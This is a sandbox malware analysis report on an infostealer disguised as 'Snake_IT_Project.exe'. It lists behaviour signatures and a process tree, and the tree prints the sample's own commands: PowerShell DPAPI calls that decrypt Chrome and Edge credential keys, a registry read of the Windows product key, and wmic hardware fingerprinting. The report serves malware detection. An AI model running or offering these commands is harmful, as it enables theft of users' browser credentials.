Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
9Static
static
3Snake_IT_Project.exe
windows11-21h2-x64
9$PLUGINSDI...er.dll
windows11-21h2-x64
3$PLUGINSDI...ls.dll
windows11-21h2-x64
3$PLUGINSDI...em.dll
windows11-21h2-x64
3$PLUGINSDI...ll.dll
windows11-21h2-x64
3LICENSES.c...m.html
windows11-21h2-x64
3Snake_IT_Project.exe
windows11-21h2-x64
9d3dcompiler_47.dll
windows11-21h2-x64
1ffmpeg.dll
windows11-21h2-x64
1libEGL.dll
windows11-21h2-x64
1libGLESv2.dll
windows11-21h2-x64
1locales/af.ps1
windows11-21h2-x64
3locales/uk.ps1
windows11-21h2-x64
3resources/elevate.exe
windows11-21h2-x64
3vk_swiftshader.dll
windows11-21h2-x64
1vulkan-1.dll
windows11-21h2-x64
1$PLUGINSDI...ec.dll
windows11-21h2-x64
3$PLUGINSDI...7z.dll
windows11-21h2-x64
3$R0/Uninst...ct.exe
windows11-21h2-x64
7$PLUGINSDI...ls.dll
windows11-21h2-x64
3$PLUGINSDI...em.dll
windows11-21h2-x64
3$PLUGINSDI...ll.dll
windows11-21h2-x64
3$PLUGINSDI...ec.dll
windows11-21h2-x64
3Analysis
-
max time kernel
30s -
max time network
469s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
02/08/2024, 19:19
Static task
static1
Behavioral task
behavioral1
Sample
Snake_IT_Project.exe
Resource
win11-20240802-en
Behavioral task
behavioral2
Sample
$PLUGINSDIR/SpiderBanner.dll
Resource
win11-20240802-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/StdUtils.dll
Resource
win11-20240802-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/System.dll
Resource
win11-20240802-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/WinShell.dll
Resource
win11-20240802-en
Behavioral task
behavioral6
Sample
LICENSES.chromium.html
Resource
win11-20240802-en
Behavioral task
behavioral7
Sample
Snake_IT_Project.exe
Resource
win11-20240802-en
Behavioral task
behavioral8
Sample
d3dcompiler_47.dll
Resource
win11-20240802-en
Behavioral task
behavioral9
Sample
ffmpeg.dll
Resource
win11-20240802-en
Behavioral task
behavioral10
Sample
libEGL.dll
Resource
win11-20240802-en
Behavioral task
behavioral11
Sample
libGLESv2.dll
Resource
win11-20240802-en
Behavioral task
behavioral12
Sample
locales/af.ps1
Resource
win11-20240802-en
Behavioral task
behavioral13
Sample
locales/uk.ps1
Resource
win11-20240802-en
Behavioral task
behavioral14
Sample
resources/elevate.exe
Resource
win11-20240802-en
Behavioral task
behavioral15
Sample
vk_swiftshader.dll
Resource
win11-20240802-en
Behavioral task
behavioral16
Sample
vulkan-1.dll
Resource
win11-20240802-en
Behavioral task
behavioral17
Sample
$PLUGINSDIR/nsExec.dll
Resource
win11-20240802-en
Behavioral task
behavioral18
Sample
$PLUGINSDIR/nsis7z.dll
Resource
win11-20240802-en
Behavioral task
behavioral19
Sample
$R0/Uninstall Snake_IT_Project.exe
Resource
win11-20240802-en
Behavioral task
behavioral20
Sample
$PLUGINSDIR/StdUtils.dll
Resource
win11-20240802-en
Behavioral task
behavioral21
Sample
$PLUGINSDIR/System.dll
Resource
win11-20240802-en
Behavioral task
behavioral22
Sample
$PLUGINSDIR/WinShell.dll
Resource
win11-20240802-en
Behavioral task
behavioral23
Sample
$PLUGINSDIR/nsExec.dll
Resource
win11-20240802-en
General
-
Target
Snake_IT_Project.exe
-
Size
73.9MB
-
MD5
59c0b2b5be2f96c15c85095b618d8405
-
SHA1
1f77b710ad46984e1feb0b754fa354dd02c99d30
-
SHA256
dbed13cdfcf25fa8a2626c0b027c8dd9bbf6a6f4ec03bece2f5b8a4b743716e1
-
SHA512
bf35194e83c1b8ea64aebb27c672d455db764ba7f7174597d9c81ce49fbb675503b6a1e3eb0eca9cefa71b60b686a35467efa20098b8048edcc013c2b2af6aa0
-
SSDEEP
1572864:axJ39KADQ9MX0jB8ceyIS7nqYdd6hIEhSmn6nlN/kF4:aIAs9MEj/vP7nMhJnUXk+
Malware Config
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Executes dropped EXE 9 IoCs
pid Process 4728 Snake_IT_Project.exe 2132 Snake_IT_Project.exe 2420 Snake_IT_Project.exe 2488 Snake_IT_Project.exe 2224 Snake_IT_Project.exe 2264 Snake_IT_Project.exe 3264 Snake_IT_Project.exe 884 Snake_IT_Project.exe 860 Snake_IT_Project.exe -
Loads dropped DLL 30 IoCs
pid Process 4488 Snake_IT_Project.exe 4488 Snake_IT_Project.exe 4488 Snake_IT_Project.exe 4488 Snake_IT_Project.exe 4488 Snake_IT_Project.exe 4488 Snake_IT_Project.exe 4728 Snake_IT_Project.exe 4728 Snake_IT_Project.exe 2420 Snake_IT_Project.exe 2132 Snake_IT_Project.exe 2132 Snake_IT_Project.exe 2132 Snake_IT_Project.exe 2132 Snake_IT_Project.exe 2132 Snake_IT_Project.exe 2488 Snake_IT_Project.exe 2420 Snake_IT_Project.exe 2224 Snake_IT_Project.exe 2264 Snake_IT_Project.exe 2224 Snake_IT_Project.exe 2224 Snake_IT_Project.exe 2224 Snake_IT_Project.exe 2224 Snake_IT_Project.exe 3264 Snake_IT_Project.exe 3264 Snake_IT_Project.exe 884 Snake_IT_Project.exe 860 Snake_IT_Project.exe 884 Snake_IT_Project.exe 884 Snake_IT_Project.exe 884 Snake_IT_Project.exe 884 Snake_IT_Project.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
An obfuscated cmd.exe command-line is typically used to evade detection. 8 IoCs
pid Process 2372 cmd.exe 5040 cmd.exe 4748 cmd.exe 992 cmd.exe 2844 cmd.exe 4044 cmd.exe 240 Process not Found 2092 Process not Found -
Enumerates processes with tasklist 1 TTPs 8 IoCs
pid Process 220 Process not Found 2144 tasklist.exe 2788 tasklist.exe 1468 tasklist.exe 3720 tasklist.exe 3580 tasklist.exe 4668 tasklist.exe 2908 Process not Found -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Snake_IT_Project.exe -
Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe -
Detects videocard installed 1 TTPs 64 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1056 Process not Found 6004 Process not Found 5060 Process not Found 5984 Process not Found 388 Process not Found 3220 Process not Found 3760 Process not Found 2756 Process not Found 3704 WMIC.exe 6040 Process not Found 1212 Process not Found 792 Process not Found 2840 Process not Found 388 Process not Found 2388 Process not Found 2808 Process not Found 5212 Process not Found 2256 Process not Found 2324 Process not Found 2784 Process not Found 5176 Process not Found 6064 Process not Found 5384 Process not Found 5188 Process not Found 5548 WMIC.exe 5420 Process not Found 3684 Process not Found 5224 Process not Found 3440 Process not Found 4820 Process not Found 5084 WMIC.exe 5908 Process not Found 2908 Process not Found 5404 Process not Found 5448 Process not Found 5384 Process not Found 4108 Process not Found 5640 Process not Found 4384 Process not Found 1320 Process not Found 1572 Process not Found 5604 Process not Found 4324 Process not Found 2960 Process not Found 3524 Process not Found 6016 Process not Found 5516 Process not Found 5940 Process not Found 5540 Process not Found 5404 Process not Found 6064 Process not Found 5884 Process not Found 2336 Process not Found 2800 Process not Found 2808 Process not Found 6128 Process not Found 5276 Process not Found 5192 Process not Found 3588 WMIC.exe 1144 Process not Found 2340 Process not Found 2720 Process not Found 968 Process not Found 5460 Process not Found -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings firefox.exe -
Opens file in notepad (likely ransom note) 2 IoCs
pid Process 6104 Process not Found 2136 Process not Found -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4488 Snake_IT_Project.exe 4488 Snake_IT_Project.exe 1716 powershell.exe 1716 powershell.exe 1040 powershell.exe 1040 powershell.exe 4004 powershell.exe 4004 powershell.exe 2488 Snake_IT_Project.exe 2488 Snake_IT_Project.exe 1296 powershell.exe 1296 powershell.exe 1296 powershell.exe 4384 powershell.exe 4384 powershell.exe 4384 powershell.exe 4800 powershell.exe 4800 powershell.exe 3740 powershell.exe 3740 powershell.exe 3740 powershell.exe 2756 powershell.exe 2756 powershell.exe 1872 powershell.exe 1872 powershell.exe 2264 Snake_IT_Project.exe 2264 Snake_IT_Project.exe 1860 powershell.exe 1860 powershell.exe 1860 powershell.exe 3160 powershell.exe 3160 powershell.exe 3160 powershell.exe 3884 powershell.exe 3884 powershell.exe 3884 powershell.exe 4520 powershell.exe 4520 powershell.exe 4520 powershell.exe 388 powershell.exe 388 powershell.exe 2668 powershell.exe 2668 powershell.exe 2668 powershell.exe 4748 powershell.exe 4748 powershell.exe 4748 powershell.exe 3044 powershell.exe 3044 powershell.exe 3044 powershell.exe 924 powershell.exe 924 powershell.exe 4640 powershell.exe 4640 powershell.exe 4640 powershell.exe 3388 powershell.exe 3388 powershell.exe 3388 powershell.exe 2668 powershell.exe 2668 powershell.exe 2668 powershell.exe 1876 powershell.exe 1876 powershell.exe 1876 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 4488 Snake_IT_Project.exe Token: SeIncreaseQuotaPrivilege 3432 WMIC.exe Token: SeSecurityPrivilege 3432 WMIC.exe Token: SeTakeOwnershipPrivilege 3432 WMIC.exe Token: SeLoadDriverPrivilege 3432 WMIC.exe Token: SeSystemProfilePrivilege 3432 WMIC.exe Token: SeSystemtimePrivilege 3432 WMIC.exe Token: SeProfSingleProcessPrivilege 3432 WMIC.exe Token: SeIncBasePriorityPrivilege 3432 WMIC.exe Token: SeCreatePagefilePrivilege 3432 WMIC.exe Token: SeBackupPrivilege 3432 WMIC.exe Token: SeRestorePrivilege 3432 WMIC.exe Token: SeShutdownPrivilege 3432 WMIC.exe Token: SeDebugPrivilege 3432 WMIC.exe Token: SeSystemEnvironmentPrivilege 3432 WMIC.exe Token: SeRemoteShutdownPrivilege 3432 WMIC.exe Token: SeUndockPrivilege 3432 WMIC.exe Token: SeManageVolumePrivilege 3432 WMIC.exe Token: 33 3432 WMIC.exe Token: 34 3432 WMIC.exe Token: 35 3432 WMIC.exe Token: 36 3432 WMIC.exe Token: SeDebugPrivilege 2144 tasklist.exe Token: SeIncreaseQuotaPrivilege 3432 WMIC.exe Token: SeSecurityPrivilege 3432 WMIC.exe Token: SeTakeOwnershipPrivilege 3432 WMIC.exe Token: SeLoadDriverPrivilege 3432 WMIC.exe Token: SeSystemProfilePrivilege 3432 WMIC.exe Token: SeSystemtimePrivilege 3432 WMIC.exe Token: SeProfSingleProcessPrivilege 3432 WMIC.exe Token: SeIncBasePriorityPrivilege 3432 WMIC.exe Token: SeCreatePagefilePrivilege 3432 WMIC.exe Token: SeBackupPrivilege 3432 WMIC.exe Token: SeRestorePrivilege 3432 WMIC.exe Token: SeShutdownPrivilege 3432 WMIC.exe Token: SeDebugPrivilege 3432 WMIC.exe Token: SeSystemEnvironmentPrivilege 3432 WMIC.exe Token: SeRemoteShutdownPrivilege 3432 WMIC.exe Token: SeUndockPrivilege 3432 WMIC.exe Token: SeManageVolumePrivilege 3432 WMIC.exe Token: 33 3432 WMIC.exe Token: 34 3432 WMIC.exe Token: 35 3432 WMIC.exe Token: 36 3432 WMIC.exe Token: SeDebugPrivilege 1716 powershell.exe Token: SeDebugPrivilege 2788 tasklist.exe Token: SeDebugPrivilege 1040 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeShutdownPrivilege 4728 Snake_IT_Project.exe Token: SeCreatePagefilePrivilege 4728 Snake_IT_Project.exe Token: SeIncreaseQuotaPrivilege 3524 WMIC.exe Token: SeSecurityPrivilege 3524 WMIC.exe Token: SeTakeOwnershipPrivilege 3524 WMIC.exe Token: SeLoadDriverPrivilege 3524 WMIC.exe Token: SeSystemProfilePrivilege 3524 WMIC.exe Token: SeSystemtimePrivilege 3524 WMIC.exe Token: SeProfSingleProcessPrivilege 3524 WMIC.exe Token: SeIncBasePriorityPrivilege 3524 WMIC.exe Token: SeCreatePagefilePrivilege 3524 WMIC.exe Token: SeBackupPrivilege 3524 WMIC.exe Token: SeRestorePrivilege 3524 WMIC.exe Token: SeShutdownPrivilege 3524 WMIC.exe Token: SeDebugPrivilege 3524 WMIC.exe Token: SeSystemEnvironmentPrivilege 3524 WMIC.exe -
Suspicious use of FindShellTrayWindow 21 IoCs
pid Process 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe 3580 firefox.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3580 firefox.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4728 wrote to memory of 792 4728 Snake_IT_Project.exe 2754 PID 4728 wrote to memory of 792 4728 Snake_IT_Project.exe 2754 PID 4728 wrote to memory of 4888 4728 Snake_IT_Project.exe 2349 PID 4728 wrote to memory of 4888 4728 Snake_IT_Project.exe 2349 PID 4728 wrote to memory of 1572 4728 Snake_IT_Project.exe 88 PID 4728 wrote to memory of 1572 4728 Snake_IT_Project.exe 88 PID 792 wrote to memory of 3432 792 cmd.exe 760 PID 792 wrote to memory of 3432 792 cmd.exe 760 PID 4888 wrote to memory of 1716 4888 cmd.exe 1481 PID 4888 wrote to memory of 1716 4888 cmd.exe 1481 PID 1572 wrote to memory of 2144 1572 cmd.exe 2662 PID 1572 wrote to memory of 2144 1572 cmd.exe 2662 PID 4728 wrote to memory of 1380 4728 Snake_IT_Project.exe 2466 PID 4728 wrote to memory of 1380 4728 Snake_IT_Project.exe 2466 PID 4728 wrote to memory of 2372 4728 Snake_IT_Project.exe 2419 PID 4728 wrote to memory of 2372 4728 Snake_IT_Project.exe 2419 PID 1380 wrote to memory of 2788 1380 cmd.exe 482 PID 1380 wrote to memory of 2788 1380 cmd.exe 482 PID 2372 wrote to memory of 1040 2372 cmd.exe 300 PID 2372 wrote to memory of 1040 2372 cmd.exe 300 PID 4728 wrote to memory of 5040 4728 Snake_IT_Project.exe 653 PID 4728 wrote to memory of 5040 4728 Snake_IT_Project.exe 653 PID 5040 wrote to memory of 4004 5040 cmd.exe 782 PID 5040 wrote to memory of 4004 5040 cmd.exe 782 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 2132 4728 Snake_IT_Project.exe 104 PID 4728 wrote to memory of 5084 4728 Snake_IT_Project.exe 2774 PID 4728 wrote to memory of 5084 4728 Snake_IT_Project.exe 2774 PID 4728 wrote to memory of 680 4728 Snake_IT_Project.exe 3172 PID 4728 wrote to memory of 680 4728 Snake_IT_Project.exe 3172 PID 4728 wrote to memory of 2488 4728 Snake_IT_Project.exe 109 PID 4728 wrote to memory of 2488 4728 Snake_IT_Project.exe 109 PID 5084 wrote to memory of 3424 5084 cmd.exe 880 PID 5084 wrote to memory of 3424 5084 cmd.exe 880 PID 680 wrote to memory of 3524 680 cmd.exe 2831 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Temp\Snake_IT_Project.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4488
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵
- Suspicious use of WriteProcessMemory
PID:792 -
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3432
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"2⤵
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2144
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2788
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,108,43,11,193,7,101,56,196,14,63,26,165,227,238,21,238,227,19,237,244,60,168,166,83,163,130,27,109,64,100,227,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,109,171,61,113,224,41,227,89,40,162,146,114,22,144,190,63,115,78,150,162,62,218,190,78,194,250,204,188,123,237,170,133,48,0,0,0,234,98,225,164,100,19,111,66,197,46,181,35,231,14,65,13,67,20,209,188,27,103,118,0,42,31,143,144,174,199,250,148,164,180,217,213,242,58,13,187,73,238,24,42,100,174,212,181,64,0,0,0,9,162,191,185,199,46,29,255,187,231,132,139,77,53,169,3,221,239,37,33,206,137,138,127,26,148,86,204,196,149,20,220,241,178,147,1,197,153,194,212,46,116,161,154,159,34,230,65,132,55,253,14,194,37,85,15,39,180,214,74,197,194,39,36), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,108,43,11,193,7,101,56,196,14,63,26,165,227,238,21,238,227,19,237,244,60,168,166,83,163,130,27,109,64,100,227,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,109,171,61,113,224,41,227,89,40,162,146,114,22,144,190,63,115,78,150,162,62,218,190,78,194,250,204,188,123,237,170,133,48,0,0,0,234,98,225,164,100,19,111,66,197,46,181,35,231,14,65,13,67,20,209,188,27,103,118,0,42,31,143,144,174,199,250,148,164,180,217,213,242,58,13,187,73,238,24,42,100,174,212,181,64,0,0,0,9,162,191,185,199,46,29,255,187,231,132,139,77,53,169,3,221,239,37,33,206,137,138,127,26,148,86,204,196,149,20,220,241,178,147,1,197,153,194,212,46,116,161,154,159,34,230,65,132,55,253,14,194,37,85,15,39,180,214,74,197,194,39,36), $null, 'CurrentUser')3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1040
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,57,3,227,24,171,115,2,126,199,66,180,165,98,248,252,219,132,18,73,69,143,236,35,7,44,40,230,216,74,204,227,226,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,255,12,162,209,72,208,227,115,24,25,161,135,169,104,150,34,7,88,3,126,124,88,82,3,62,163,79,139,180,10,245,66,48,0,0,0,167,186,202,149,91,63,134,229,50,154,155,156,241,221,51,103,18,81,0,115,235,205,75,45,95,249,70,20,2,172,28,131,99,97,96,161,117,20,5,205,54,178,32,27,199,52,109,54,64,0,0,0,138,43,173,160,193,79,107,46,184,10,187,58,87,204,115,82,110,232,54,158,83,85,226,67,58,27,100,31,2,136,121,247,84,201,243,182,197,120,175,158,0,83,91,220,206,173,175,70,43,117,118,36,148,123,188,125,112,71,250,242,225,201,14,113), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,57,3,227,24,171,115,2,126,199,66,180,165,98,248,252,219,132,18,73,69,143,236,35,7,44,40,230,216,74,204,227,226,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,255,12,162,209,72,208,227,115,24,25,161,135,169,104,150,34,7,88,3,126,124,88,82,3,62,163,79,139,180,10,245,66,48,0,0,0,167,186,202,149,91,63,134,229,50,154,155,156,241,221,51,103,18,81,0,115,235,205,75,45,95,249,70,20,2,172,28,131,99,97,96,161,117,20,5,205,54,178,32,27,199,52,109,54,64,0,0,0,138,43,173,160,193,79,107,46,184,10,187,58,87,204,115,82,110,232,54,158,83,85,226,67,58,27,100,31,2,136,121,247,84,201,243,182,197,120,175,158,0,83,91,220,206,173,175,70,43,117,118,36,148,123,188,125,112,71,250,242,225,201,14,113), $null, 'CurrentUser')3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4004
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\TrialYelpOfStart" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1892 --field-trial-handle=1916,i,8932795008570800412,5469970442051986917,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name"2⤵
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get name3⤵PID:3424
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3524
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3512
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\TrialYelpOfStart" --mojo-platform-channel-handle=1364 --field-trial-handle=1916,i,8932795008570800412,5469970442051986917,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4696
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:232
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get ProcessorId"2⤵PID:1568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get ProcessorId3⤵PID:1772
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2316
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4384
-
-
-
